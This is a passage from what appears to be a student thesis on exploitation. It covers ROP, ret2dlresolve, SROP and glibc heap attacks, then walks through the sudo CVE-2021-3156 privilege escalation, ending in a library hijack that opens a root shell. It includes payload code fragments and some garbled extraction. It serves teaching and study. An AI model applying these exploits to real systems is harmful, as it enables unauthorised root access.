Now, going back to the ROP chain, we need to invoke `_dl_runtime_resolve` emulating a legitimate call. To do this, before calling the resolver we need to set up the arguments for `system` as it was already resolved and we were calling it directly: with `rdi` pointing to "/bin/sh". Chaining a pop `rdi`; `ret` gadget followed by the address of the "/bin/sh" string that we put on the second buffer, after the `system` string. Once the argument is correctly set, the following byte on the ROP chain should be the address of the start of the .plt section, that as shown in 4.19 stores a default stub for calling the resolver, pushing the `link_map` into the stack and jumping into `_dl_runtime_resolve`.

```python
exploit += p64(rdi_gadget)
exploit += p64(binsh_addr)
exploit += p64(plt_start)
exploit += p64(reloc_arg)
exploit += p64(return_addr)
exploit += p64(binsh_addr)
```
4.5 Sigreturn-oriented programming

Sigreturn-oriented programming (SROP) exploits the mechanism of handling signals on POSIX systems. These systems implement the `sigreturn` system call, tasked with restoring the CPU registers with stack values, among other things. By corrupting stack values, an attacker can set the CPU register values at will.
4.5 Sigreturn-oriented programming

4.5.1 Signal handler mechanism

When a signal is triggered, a context switch is performed. A context switch implies that the state of the current execution must be saved, that is, all the CPU registers are pushed onto the stack along with some additional data. Once the signal has been handled, a `sigreturn` system call is called and the CPU registers values are restored.

4.5.2 sigcontext struct

When the `sigreturn` syscall is called, it expects to found a `sigframe` struct on the top of the stack. The `sigframe` is a structure that holds several pieces of information for restoring the context of the process. One of these pieces is the `sigcontext` struct. The `sigcontext` struct stores the values of the CPU registers, its flags and the state of the floating point unit. Its definition is dependent on architecture and operating system, but for example, the definition for Linux x86 and x86_64 systems can be found in the Linux kernel source.

4.5.3 SROP

SROP is all about creating a fake signal frame on the stack and call `sigreturn` to control all the registers on the CPU. First, the call to the syscall is triggered with conventional ROP gadgets. On Linux systems, syscalls are invoked in function of the value of `rax` when the syscall instruction gets executed. The `rax` value for the `sigreturn` syscall is `0xf` on x86_64 bit Linux systems and `0x77` for x86 bit Linux systems.

Once we placed the correct value on `rax` and executed `syscall`, `sigreturn` is going to be executed by the kernel, and it expects a signal frame on the top of the stack. By setting the correct values on the signal frame we can control what we are going to execute next.

Figure 4.26: Layout of a SROP exploit in Linux x86_64[5]
Example

First, we need a simple ROP chain that calls a system call. For that we need a pop rax gadget that sets the correct syscall number on the rax register. Then we execute the syscall instruction with a syscall gadget. The sigreturn syscall has the number 0xf.

![Figure 4.27: SROP gadgets](image)

```python
exploit = b"A" * (padding)
exploit += p64(rax_gadget) # rip
exploit += p64(sigreturn_syscall_number)
exploit += p64(syscall_gadget)
```

Up to this point this is a normal ROP chain sequence. Now we need to concatenate the sigcontext struct for the sigreturn syscall.

We are going to call `execve("/bin/sh")` from the signal frame. In order to do that, we need to set the correct registers.

- **rdi**: executable file path to run. In our case it is the address of a 
  `/bin/sh` string.
- **rax**: `0x3b`, the `execve` syscall number.
- **rsp**: zeroing this value can be dangerous and cause a segfault. Just point it to some random stack address.
- **rip**: because `execve` is a system call we can reuse the syscall gadget we used previously on the ROP chain.
- **cs**: code segment. Used implicitly in the instructions that modify control flow. Necessary to jump around. The value is taken from debugging the program.
- **ss**: another segment register. Zeroing it causes segfault. The value is taken from debugging the program.

All the other fields are zeroed out.
4.5 Sigreturn-oriented programming

Figure 4.28: SROP payload

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>0x08000000</td>
</tr>
<tr>
<td>00000004</td>
<td>0x08000004</td>
</tr>
<tr>
<td>00000008</td>
<td>0x08000008</td>
</tr>
<tr>
<td>0000000C</td>
<td>0x0800000C</td>
</tr>
<tr>
<td>00000010</td>
<td>0x08000010</td>
</tr>
<tr>
<td>00000014</td>
<td>0x08000014</td>
</tr>
<tr>
<td>00000018</td>
<td>0x08000018</td>
</tr>
<tr>
<td>0000001C</td>
<td>0x0800001C</td>
</tr>
<tr>
<td>00000020</td>
<td>0x08000020</td>
</tr>
<tr>
<td>00000024</td>
<td>0x08000024</td>
</tr>
<tr>
<td>00000028</td>
<td>0x08000028</td>
</tr>
<tr>
<td>0000002C</td>
<td>0x0800002C</td>
</tr>
<tr>
<td>00000030</td>
<td>0x08000030</td>
</tr>
<tr>
<td>00000034</td>
<td>0x08000034</td>
</tr>
<tr>
<td>00000038</td>
<td>0x08000038</td>
</tr>
<tr>
<td>0000003C</td>
<td>0x0800003C</td>
</tr>
<tr>
<td>00000040</td>
<td>0x08000040</td>
</tr>
<tr>
<td>00000044</td>
<td>0x08000044</td>
</tr>
<tr>
<td>00000048</td>
<td>0x08000048</td>
</tr>
<tr>
<td>0000004C</td>
<td>0x0800004C</td>
</tr>
<tr>
<td>00000050</td>
<td>0x08000050</td>
</tr>
<tr>
<td>00000054</td>
<td>0x08000054</td>
</tr>
<tr>
<td>00000058</td>
<td>0x08000058</td>
</tr>
<tr>
<td>0000005C</td>
<td>0x0800005C</td>
</tr>
<tr>
<td>00000060</td>
<td>0x08000060</td>
</tr>
<tr>
<td>00000064</td>
<td>0x08000064</td>
</tr>
<tr>
<td>00000068</td>
<td>0x08000068</td>
</tr>
<tr>
<td>0000006C</td>
<td>0x0800006C</td>
</tr>
<tr>
<td>00000070</td>
<td>0x08000070</td>
</tr>
<tr>
<td>00000074</td>
<td>0x08000074</td>
</tr>
<tr>
<td>00000078</td>
<td>0x08000078</td>
</tr>
<tr>
<td>0000007C</td>
<td>0x0800007C</td>
</tr>
<tr>
<td>00000080</td>
<td>0x08000080</td>
</tr>
<tr>
<td>00000084</td>
<td>0x08000084</td>
</tr>
<tr>
<td>00000088</td>
<td>0x08000088</td>
</tr>
<tr>
<td>0000008C</td>
<td>0x0800008C</td>
</tr>
<tr>
<td>00000090</td>
<td>0x08000090</td>
</tr>
<tr>
<td>00000094</td>
<td>0x08000094</td>
</tr>
<tr>
<td>00000098</td>
<td>0x08000098</td>
</tr>
<tr>
<td>0000009C</td>
<td>0x0800009C</td>
</tr>
<tr>
<td>000000A0</td>
<td>0x080000A0</td>
</tr>
<tr>
<td>000000A4</td>
<td>0x080000A4</td>
</tr>
<tr>
<td>000000A8</td>
<td>0x080000A8</td>
</tr>
<tr>
<td>000000AC</td>
<td>0x080000AC</td>
</tr>
<tr>
<td>000000B0</td>
<td>0x080000B0</td>
</tr>
<tr>
<td>000000B4</td>
<td>0x080000B4</td>
</tr>
<tr>
<td>000000B8</td>
<td>0x080000B8</td>
</tr>
<tr>
<td>000000BC</td>
<td>0x080000BC</td>
</tr>
<tr>
<td>000000C0</td>
<td>0x080000C0</td>
</tr>
<tr>
<td>000000C4</td>
<td>0x080000C4</td>
</tr>
<tr>
<td>000000C8</td>
<td>0x080000C8</td>
</tr>
<tr>
<td>000000CC</td>
<td>0x080000CC</td>
</tr>
<tr>
<td>000000D0</td>
<td>0x080000D0</td>
</tr>
<tr>
<td>000000D4</td>
<td>0x080000D4</td>
</tr>
<tr>
<td>000000D8</td>
<td>0x080000D8</td>
</tr>
<tr>
<td>000000DC</td>
<td>0x080000DC</td>
</tr>
<tr>
<td>000000E0</td>
<td>0x080000E0</td>
</tr>
<tr>
<td>000000E4</td>
<td>0x080000E4</td>
</tr>
<tr>
<td>000000E8</td>
<td>0x080000E8</td>
</tr>
<tr>
<td>000000EC</td>
<td>0x080000EC</td>
</tr>
<tr>
<td>000000F0</td>
<td>0x080000F0</td>
</tr>
<tr>
<td>000000F4</td>
<td>0x080000F4</td>
</tr>
<tr>
<td>000000F8</td>
<td>0x080000F8</td>
</tr>
<tr>
<td>000000FC</td>
<td>0x080000FC</td>
</tr>
</tbody>
</table>

Figure 4.28: SROP payload
Figure 4.29: Successful exploitation of an SROP exploit
Chapter 5

Heap exploits

5.1 The heap

The heap is a common term to refer to a portion of memory where programs can allocate memory at runtime for objects whose size is very large or unknown at compile time, and therefore, the compiler cannot manage the stack for them. This portion of memory is very often managed by libraries called allocators, in charge of keeping a record of the allocated and freed memory, its size, the possibility of reusing freed chunks and the merging of freed chunks to avoid heap fragmentation.

The C standard includes definitions for a set of heap functions common for everyone but the implementation is OS and library-dependent.

- `malloc`
- `realloc`
- `calloc`
- `free`

5.2 glibc malloc

The GNU C malloc library contains implementations for the standard malloc functions, `malloc`, `free`, `realloc`, and `calloc`. This allocator manages the blocks of memory handled to a program in a "heap" style. The GNU malloc implementation is derived from ptmalloc (pthreads malloc) and in turn, ptmalloc derives from dlmalloc (Doug Lea's malloc).

5.2.1 Common terms

Arena

An arena is a region of memory dedicated to the allocator. Arenas hold references to one or more heaps from which they allocate and free memory. When a program is started, a main arena is created, that holds a reference to the initial heap. When more threads request allocations, more arenas can be created to avoid locking the main arena and causing a bottle-neck that could slow down the program.
Heap

Portion of memory reserved for allocations. This memory is subdivided into chunks handled by the allocator. Heap memory is contiguous, meaning that the are adjacent to one another.

Chunk

Subdivision of a heap. It is a block of memory with a certain size requested by the program. Chunks can be merged with neighboring chunks to obtain a larger chunk, or can be subdivided further to obtain smaller chunks, depending on the needs of the program.

When a chunk is freed, it gets pushed into a circular double-linked list called bin. To save up space, all the information required for the linked list management is stored on the chunk contents. This metadata includes forward and backward pointers and the size of the neighboring chunks. [source code]

Figure 5.1: Allocated chunk structure

Figure 5.2: Freed chunk structure

Tcacbe

The Thread Local Cache is a special list of very recently freed chunks with the intention to be of quick access. It acts as a cache for freed chunks. Each thread owns a tcache containing a small collection of freed chunks for rapid access without the need to lock global variables or data structures like the arena, which is common for all threads under a process, to prevent data races.

The data structure is an array of bins, each bin being a linked list for chunks of certain sizes.

Figure 5.3: Tcache structure

This optimization is present from glibc version 2.26 upwards.
5.3 Heap overflows

Because chunks are contiguous in memory, we can overflow a heap buffer with more data than it can handle using unbounded write/read functions, just like a normal stack overflow.

![Figure 5.4: Heap overflow](image)

Example

To showcase this vulnerability I am going to solve the level `heap-one` from `Phoenix VM`.

```c
struct heapStructure {
    int priority;
    char *name;
};

int main(int argc, char **argv) {
    struct heapStructure *i1, *i2;
    i1 = malloc(sizeof(struct heapStructure));
    i1->priority = 1;
    i1->name = malloc(8);
    i2 = malloc(sizeof(struct heapStructure));
    i2->priority = 2;
    i2->name = malloc(8);
    strcpy(i1->name, argv[1]);
    strcpy(i2->name, argv[2]);
    // ...
```

Thanks to the structures and the unbounded writes with the `strcpy` functions we can trigger an arbitrary write exploit. The second call to `strcpy` will take as a pointer `&name` from the second struct. Because heap chunks are contiguous, the first `strcpy` call can keep writing data past the extent of `i1.name` into the second structure.

![Figure 5.5: heap-one@phoenix](image)
We will use the first `strcpy` to override `12.name` to point to another address where the value on the second argument will be written. In this case, I am overwriting it with the address of the return address on the stack and the second argument has the address of the `winner` function, performing a classical `ret2win` exploit but overriding data on the heap.

Listing 5.1: Pseudocode of the exploit

```c
strcpy(&return_address, &winner);
```

Figure 5.6: heap-one solved

5.4 Use-After-Free

An Use-After-Free vulnerability consists of the use of a chunk after it has been freed.

```c
#include <stdlib.h>
#include <string.h>

int main()
{
    char* buffer = malloc(sizeof(char) * 32);
    free(buffer);
    /* buffer still points to the chunk contents */
    memset(buffer, 0x41, sizeof(char) * 32);
    return 0;
}
```

Example

To exemplify an UAF I will use `heap-two` from [Phoenix VM].

This program consist of a menu allowing us to perform some actions in arbitrary order over some global variables. The program will check for the value of a variable inside the auth struct. By allocating and then freeing it we can force the following call to `malloc` returns us the same chunk that was allocated for the auth struct. Because the auth pointer is never cleared it points to the chunk that now belongs to the service variable, which we can control. By writing on service we are also writing on auth, therefore setting the correct value that the challenge expects to be completed.
5.5 Double free

A double free consists of calling `free` two consecutive times on the same chunk. This causes a corruption on the allocator's data structures: the same chunk is appended two times to the free chunks list and the subsequent `malloc`s are going to return the same chunk to two different calls.

```c
#include <stdlib.h>

int main()
{
    void* a = malloc(8);
    free(a);
    free(a);

    void* b = malloc(8);
    void* c = malloc(8);
    /* b and c point to the same address */
    return 0;
}
```

Figure 5.8: Double free vulnerability
Example

This is the `fastbin_dup.c` exercise from the `how2heap` manual. First, we allocate three chunks on the heap, a, b, and c. Ideally, we only need one chunk: the other pointers are needed to bypass some security checks to prevent this kind of vulnerability.

Then, we free a.

Free b and then, again a. We have included a’s chunk two times on the bin.

Now the heap allocator is going to think they are two different chunks and hand them to two different `malloc` calls.

Remember that the variables a, b, and c points to the chunk contents, meanwhile the addresses shown in the fastbins are the addresses of the chunks.
5.6 Unlink

This attack exploits the UNLINK macro used in the free function. This macro executes the following instructions, redoing the connections between nodes on the double-linked list.

```
#define unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}
```

FD and BK are pointers to the next and previous chunk of P. If the attacker can control the chunk to be unlinked, P, we can put arbitrary values on FD and BK.

Imagine the following setup:

```
size  flags
0x5655d804
0x5508f311
... 
previous size
```

That is an arbitrary write. The values on FD and BK should take in account the offset on the struct. For example, FD should point to an address 0xc bytes lower than the actual address we want to write to.

Newer glibc versions patched this exploit by adding sanity checks for the chunk headers. This exploit no longer works on the newer glibc versions.
Heap exploits
Chapter 6

Fuzzing

6.1 Introduction

Software has bugs. This whole text depends on it. But finding bugs may not be as trivial as it seems. Software can be complex, and remembering all the corner cases for all the lines of code, taking into account how they interact with each other, is an illusion. By human mistake or lack of knowledge, programmers can introduce bugs in their software, sometimes very hard to reproduce or with very particular triggers.

Fuzzing means to use automatically generated tests to perform software testing\[34\]. Fuzzing searches exhaustively on the input space (bruteforce) of a program, searching for faulty inputs that may cause misbehavior by the software. This technique has been very successful on finding security bugs on software in the last decade and has gained a lot of popularity. It is in fact, a critical component of software testing even for production environments.

6.2 Code coverage

It is a metric which measures how much of the program has been executed. This metric helps to know how complete a test has been. By using code coverage we can quantify the usefulness of the input cases generated by the fuzzer and optimize the fuzzing session. Coverage can be defined on different criteria:

- Functions executed.
- Statements executed.
- Edges taken.
- Branches taken.
- Conditions resolved.

6.3 Types of fuzzers

Fuzzers are typically classified in 3 dimensions.
6.3.1 Input seed

Generative

The fuzzer generates the input from scratch, usually by random methods. This technique has as advantages the ease of implementation, does not require a corpus of examples and can generate a broad spectrum of input cases, but present the disadvantage of generating a lot of uninteresting inputs. Because of its triviality only uncovers shallow bugs in non-trivial programs and takes a lot of time and effort to generate input cases that go down in the program execution tree.

Mutations

The most part of randomly generated inputs are not syntactically valid and do not go further on a program path. Mutation-based fuzzers apply certain transformations (mutations) to already existing examples of input to produce new input, thus they require a corpus. These mutations usually retain the structure of the input, if there is one. Because of the similarity between the generated input and the corpus examples the fuzzer can focus on interesting cases that go deep in the program execution tree, but it is not as exhaustive as the generative method. Some common mutations include:

- Bitflips
- Arithmetic
- Removing/Adding bytes
- Swapping bytes
- Repeating bytes
- Inserting UTF characters into ASCII strings
- Removing/Adding new lines, null terminators, EOFs, ...
- Replacing numbers for known problematic ones, i.e. negatives, big integers, floats, ...

6.3.2 Input structure

Unstructured

The fuzzer does not know the structure of the input. Requires less setup for fuzzing and can be employed in a wide variety of programs. This technique is more exhaustive than structured data but can generate a lot of uninteresting input cases for programs that expect structured data, which means wasting CPU cycles. It also takes longer to explore the program execution tree.

Structured

The format of the input is specified to the fuzzer. Then the fuzzer can generate new inputs from this specification. It is specially useful for fuzzing highly structured data like protocols, file formats or sequences of mouse clicks or keyboard events, etcetera. The goal of structured input is to reduce the number of trivial inputs that are going to be rejected quickly by the target program, achieving a deeper exploration of the program execution tree than unstructured input. Generally, the input format is specified as a formal grammar.
6.3 Types of fuzzers

6.3.3 Program knowledge

Blackbox

The fuzzer is not allowed to scan or analyze the internals parts of the program. The executable is treated as a black box that receives input and prints output. The fuzzer generates inputs for the target program without knowledge of its internal behavior or implementation. Because this technique does not modify the source code, nor injects instrumentation, and does not analyze test coverage after each execution, there are no overheads at runtime, making it suitable for large or slow binaries. It does not need access to the source code.

Whitebox

The fuzzer is allowed to analyze the whole program. The goal is to track and maximize code coverage. This is done by adding instrumentation to the original source code and required compilation. This instrumentation is just a logger that registers when a checkpoint is reached along the execution path of a program. Target checkpoints are usually function prologues and epilogues, jumps and conditional statements.

Thanks to all this structural analysis of the program the fuzzer can triage inputs depending on how much code coverage they contribute, if new paths have been discovered, or which types of input flow through one path or another. This makes this technique the most effective at finding deep hidden bugs. The downside is the overhead of the instrumentation and that for every execution, the output feedback must be analyzed by the fuzzer to continue generating input, plus one does not always have access to the source code or cannot compile the program.

Greybox

Greybox fuzzing tries to maintain the benefits of whitebox fuzzing while minimizing its downsides. It also uses instrumentation, but much lighter, instrumenting certain files or instructions and without analyzing the whole program. This technique is the most popular of the three as the top big 3 fuzzers AFL, HongFuzz and LibFuzzer use the greybox technique.
Chapter 7

Practical case

7.1 CVE-2021-3156

On 2021-01-26, the Qualys Research Team disclosed a vulnerability on the *sudo* command that allowed privilege escalation via heap overflow. The *sudo* program is a utility for UNIX systems that allows a user to run programs with the privileges of another user. It comes installed by default in almost all Linux distributions. The affected versions go from 1.8.2 to 1.8.31p2 for legacy versions and from 1.9.0 to 1.9.5p1 for stable versions. Exploits have been tested for Ubuntu 20.04, Debian 10, Fedora 33, MacOS Big Sur.

7.1.1 Weakness

The weakness exploited is an off-by-one error (CWE-193). That means that the range for a loop is wrongly calculated to do more iterations than intended.

```
Listing 7.1: Example of off-by-one
1  char from[] = {0x41, 0x41, 0x41, 0x41, '\', 0x0, 0x41, 0x41, 0x0};
2  char* to = malloc(sizeof(char) * strlen(from) + 1);
3
4  while(*from)
5  {
6      if(from[0] == '\')
7          from++;
8      *to++ = *from++;
9  }
```

7.1.2 Bug

Vulnerability identification

In `set_cmd()` heap overflow could happen if a command line argument ends with a backslash. A buffer is allocated on the heap to store the user provided arguments. To know the length of the buffer it iterates over `argv` and calls `strlen` that stops on a null termination.
By changing the arguments provided to sudo we can control the size of the heap allocated buffer.

```c
Listing 7.2: sudoers.c: set_cmnd
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
  size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
  sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
  debug_return_int(-1);
}
```

Later, the program rewrites the argv values on the newly allocated buffer. But inside the transferring code there is an off-by-one bug hidden. By providing a backslash on the input we can make the from pointer advance two positions on an iteration, jumping over the null byte that would stop the copying.

```c
Listing 7.3: sudoers.c: set_cmnd
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
  /* ... */
  if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
    for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
      while (*from) {
        from++;  
        if (from[0] == '\' && !isspace((unsigned char)from[1]))
          from++;  
      }  
      *to++ = ' ';  
    }  
    /* ... */  
  }
  /* ... */
}
```

**Figure 7.1: Out-of-bounds access**

1. While *from is different from 0x0 keep looping
   1. *from[0] points to the backslash and *from[1] points to the null termination byte.
      1. *from gets incremented and now points to the null termination byte, skipping over the backslash.
   2. The null byte is copied into the buffer and *from gets incremented. Now *from is pointing to the data after the null byte.
This way, the while loop will copy more data than was previously calculated, writing outside of the heap allocated buffer and overwriting critical data on the heap chunks.

**Reaching the vulnerable code**

*sudo* works by setting a mode of operation based on how the user invoked the command. Different modes of operation trigger execute different parts of the code. To trigger the vulnerable code, the following condition for the *sudo* mode must be set.

\[ \text{MODE\_SHELL} \land (\text{MODE\_EDIT} \lor \text{MODE\_CHECK}) \land \neg \text{MODE\_RUN} \]

**MODE\_RUN** must be turned off because it will trigger code that escapes special characters on the command line arguments. That obviously will prevent us from triggering the bug.

**MODE\_EDIT** or **MODE\_CHECK** are set manually via command line options, `-e` and `-E`, a check on `parse_args()` turns off **MODE\_SHELL**. But calling *sudoedit* instead of *sudo* automatically sets **MODE\_EDIT** without unsetting **MODE\_SHELL**.

**MODE\_SHELL** can be set via command line option `-s`.

Therefore, by calling *sudoedit -s* we can reach the vulnerable code.

![Figure 7.2: Unpatched sudo behaviour](image1)

![Figure 7.3: Patched sudo behaviour](image2)

### 7.1.3 Exploitation

**Overflowing with data**

Once we know we can overflow the heap buffer, we need targets. In their report, the Qualys team first tried to abuse locale related settings to turn the buffer overflow into a format string vulnerability. In the process they implemented a fuzzer to play around with `LC_x` environment variables. The initial plan ended up failing ultimately but thanks to the fuzzer they produced dozens of unique crashes, from which they exploited three cases.

Here I am going to discuss an implementation for the second case they presented: overwriting the name of a library loaded at runtime.
NSS is a name resolution mechanism for UNIX-like systems. It is based on a group of databases that contain information about certain names. Sudo uses this mechanism to check for permissions.

Then sudoers_lookup starts a chain of calls that arrives at `__nss_lookup_function`. `__nss_lookup_function` calls `nss_load_library` that loads a library specified by a name as it was a dynamically linked library with `__libc_dlopen`. Because all these structures are allocated in the heap we can load an attacker controlled library by overwriting the name field of a service with the heap overflow on set_cmnd.
In this case, *sudo* will try to load the service *files* from the database *group*. If we overwrite the *name* field of the service structure we will control what library *sudo* is going to load. To make sure we do not override anything that could cause a segmentation fault before *nss_load_library* is called we need to allocate the user input buffer closely to the chunk where this data structure is allocated. To ensure we get the chunk we want, we need to employ a special technique: *heap feng shui*.

```c
typedef struct service_user {
  /* And the link to the next entry. */
  struct service_user *next;
  /* Action according to result. */
  lookup_actions actions[5];
  /* Link to the underlying library object. */
  service_library *library;
  /* Collection of known functions. */
  void *known;
  /* Name of the service (‘files’, ‘dns’, ‘nis’, ...). */
  char name[0];
} service_user;
```
Heap feng shui

This technique aims to modify and influence the heap layout. Thanks to the defragmentation routines of the allocator’s implementation and certain tables for reusing previously allocated chunks the heap is very dynamic in its layout. By allocating chunks of certain sizes and freeing them, we can force posterior allocations to use the previous chunks instead of creating new ones and vice versa. We just need to find the correct sizes to enforce a certain layout, one layout that is favorable to the attacker. The goal for this exploit is to set a chunk as the first chunk in any of the tcache’s lists. This chunk is special in the sense that it is the previous chunk after the chunk where the group:files NSS service is allocated. This layout must be accomplished just right before the allocation of user_args in set_cmnd. We can claim this chunk with a user input with the same size as the tcache’s list where it is located.

<table>
<thead>
<tr>
<th>tcache</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20</td>
</tr>
<tr>
<td>0x30</td>
</tr>
<tr>
<td>0x40</td>
</tr>
<tr>
<td>0x50</td>
</tr>
<tr>
<td>0x55aabb</td>
</tr>
</tbody>
</table>

![Figure 7.6: Intended heap layout](image)

Now, we need to find some code that we can control to make all the allocations and frees needed to shake the heap around. setlocale is a function used to set locale and language related settings for ease of translation at runtime. It turns out that setlocale performs quite a lot of mallocs and frees with environment variables used for locale settings: LC_CTYPE, LC_TIME, LC_MONETARY, just to name a few. Because they are environment variables we can control their size and their contents, just what we needed to implement the heap feng shui technique.

I wrote a bruteforcer that will play around with the values for LC_* variables and observe the state of the heap and the tcache. If the tcache holds a chunk ready to be allocated that is before the chunk where group:files is allocated then a solution is found.
Overwriting with environment variables

Now that we got our desired chunk, we just need to overflow it with data. Because we already used the user input to set the size of the chunk we wanted from the cache we need to find another way in for the extra data. Revisiting the set_cmnd, on the lines where the overflow happens, taking a look at the variables from, we can see it is a pointer into the stack, where the C runtime environment puts the arguments supplied to the command. Further down the stack (towards the higher addresses) the C runtime also puts the environment variables, being adjacent to the arguments.

This means that the from variable will point to the environment variables. There is where we want to put the payload for the overflow.

First we need some padding to compensate for the offset where the actual data of the chunk starts versus where the chunk starts. Then we can set the new contents for the group:files service. Lastly, put the LC_* variables that the bruteforcer found as a solution.
**Evil library**

For the hijacked library, we are going to make a dynamically linked library that calls `execve("/bin/sh")` on the constructor. When the library gets loaded, it will automatically start execution of the constructor function and open a root shell for us. It is important for the library to be present at the same directory the exploit is executed and to be inside a folder called `libnss_${name}`, where `name` is the name of the library.

```bash
qwe@qwe:~/tfg/baron_samedits$ make
mkdir -p ./libnss_x
mv x.so.2 ./libnss_x/
qwe@qwe:~/tfg/baron_samedits$ make launch
gcc launch.c -o launch
qwe@qwe:~/tfg/baron_samedits$ ./launch
>>>> Executing evil lib
>>>> We are root
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(qwe)
```

Figure 7.9: Successful exploit
Appendix A

CVEs and CWEs

A.1 CVE Program

The Common Vulnerability and Exposures program is a system to identify and classify publicly disclosed cybersecurity vulnerabilities. It is a database holding records for each vulnerability identified and disclosed by researches and organizations. CVE records are used to ensure common definitions for issues.

A.1.1 CVE IDs

A CVE ID is the unique identifier used to refer to a vulnerability on the CVE database. The identifier follows as a format the CVE prefix, followed by the year of the registration, ended by arbitrary digits. For example, the CVE ID of the vulnerability showed on the Chapter 7, nicknamed "Baron Samedit" by its authors at Qualys is CVE-2021-3156: being 2021 the year of registration.

A.1.2 CNAs

CVEs are assigned by CVE Numbering Authorities, being them formal and partnered organizations with the CVE Program. When a researcher or organization finds some vulnerability they request a CNA to assign a CVE ID to the vulnerability and registers it to the CVE database as a record only if the vendor or owner of the software allows to publicly disclose the vulnerability.

A.2 CWE Program

The Common Weakness Enumeration is a public database of common software and hardware weakness types that could lead to security issues. The goal is to educate software and hardware engineers on how to stop vulnerabilities at the source by identifying and classifying these weaknesses in a taxonomy. The records of the database also contain examples, related weaknesses, consequences, mitigations, among other things to help the users preventing vulnerabilities.
# List of Figures

1.1 Simplified stack timeline .............................................. 1
1.2 Standard C 32-bit calling convention stack layout ................. 2
1.3 Buffer on the stack ................................................. 3
1.4 Stack4@Phoenix ..................................................... 3
1.5 man 3 gets: Bugs section ........................................... 4
1.6 Exploiting Stack4 ................................................... 4
1.7 Stack offsets between debugged process and non debugged process .... 6

2.1 Stack canary ......................................................... 9
2.2 foo function without and with stack canary .......................... 9
2.3 man gcc .................................................................. 10
2.4 libc base address loaded at runtime with ASLR enabled/disabled .... 12

3.1 Format function stack frame ........................................... 14
3.2 Format string vulnerability ........................................... 14
3.3 Anatomy of an arbitrary read format string exploit .................. 15
3.4 Address of s3cr3t on the input buffer .............................. 16
3.5 Value of s3cr3t leaked .............................................. 16
3.6 Compiled with stack canaries ....................................... 16
3.7 win() function executed ............................................ 17

4.1 ret2libc stack layout .................................................. 19
4.2 libc base address ..................................................... 20
4.3 system offset from libc base address ................................ 20
4.4 "/bin/sh" string offset from libc base address .................... 20
4.5 ret2libc exploit ....................................................... 21
4.6 ROP chain ............................................................ 22
4.7 ROP gadget pop rdi; ret ............................................. 22
4.8 NOP gadget .......................................................... 22
4.9 Stack layout for example ............................................ 23
4.10 libc base address at runtime ...................................... 23
4.11 system offset from libc base address ................................ 23
4.12 "/bin/sh" offset from libc base address .......................... 23
4.13 Successful exploitation of the rop chain .......................... 24
4.14 Stack layout for a stack pivoting attack .......................... 24
4.15 leave gadget .......................................................... 25
4.16 Stack pivoting example: instruction sequence .................... 25
4.17 esp points to buffer ............................................... 26
<table>
<thead>
<tr>
<th>Figure</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>4.18</td>
<td>Successful exploitation</td>
</tr>
<tr>
<td>4.19</td>
<td>_dl_runtime_resolve execution path</td>
</tr>
<tr>
<td>4.20</td>
<td>Addresses of the most important tables for the exploit</td>
</tr>
<tr>
<td>4.21</td>
<td>.data and .bss segments of the process</td>
</tr>
<tr>
<td>4.22</td>
<td>Mapped segments of the process</td>
</tr>
<tr>
<td>4.23</td>
<td>Offsets from the tables to the second buffer</td>
</tr>
<tr>
<td>4.24</td>
<td>Bytes of the exploit</td>
</tr>
<tr>
<td>4.25</td>
<td>Successful exploitation of an ret2dlresolve attack</td>
</tr>
<tr>
<td>4.26</td>
<td>Layout of a SROP exploit in Linux x86_64[5]</td>
</tr>
<tr>
<td>4.27</td>
<td>SROP gadgets</td>
</tr>
<tr>
<td>4.28</td>
<td>SROP payload</td>
</tr>
<tr>
<td>4.29</td>
<td>Successful exploitation of an SROP exploit</td>
</tr>
<tr>
<td>5.1</td>
<td>Allocated chunk structure</td>
</tr>
<tr>
<td>5.2</td>
<td>Freed chunk structure</td>
</tr>
<tr>
<td>5.3</td>
<td>Taqueue structure</td>
</tr>
<tr>
<td>5.4</td>
<td>Heap overflow</td>
</tr>
<tr>
<td>5.5</td>
<td>heap-one@phoenix</td>
</tr>
<tr>
<td>5.6</td>
<td>heap-one solved</td>
</tr>
<tr>
<td>5.7</td>
<td>heap-two@Phoenix</td>
</tr>
<tr>
<td>5.8</td>
<td>Double free vulnerability</td>
</tr>
<tr>
<td>5.9</td>
<td>User controlled chunk</td>
</tr>
<tr>
<td>7.1</td>
<td>Out-of-bounds access</td>
</tr>
<tr>
<td>7.2</td>
<td>Unpatched sudo behaviour</td>
</tr>
<tr>
<td>7.3</td>
<td>Patched sudo behaviour</td>
</tr>
<tr>
<td>7.4</td>
<td>Relevant calls in sudo</td>
</tr>
<tr>
<td>7.5</td>
<td>NSS data structures</td>
</tr>
<tr>
<td>7.6</td>
<td>Intended heap layout</td>
</tr>
<tr>
<td>7.7</td>
<td>Printing the heap layout while bruteforcing</td>
</tr>
<tr>
<td>7.8</td>
<td>Overflow</td>
</tr>
<tr>
<td>7.9</td>
<td>Successful exploit</td>
</tr>
</tbody>
</table>
List of Tables

3.1 Common format conversion specifiers table ............ 13
Bibliography


Mitre. CVE-2021-3156. URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3156 (accessed: 12/05/2021).


NIST. CVE-2021-3156 Detail. URL: https://nvd.nist.gov/vuln/detail/CVE-2021-3156 (accessed: 12/05/2021).


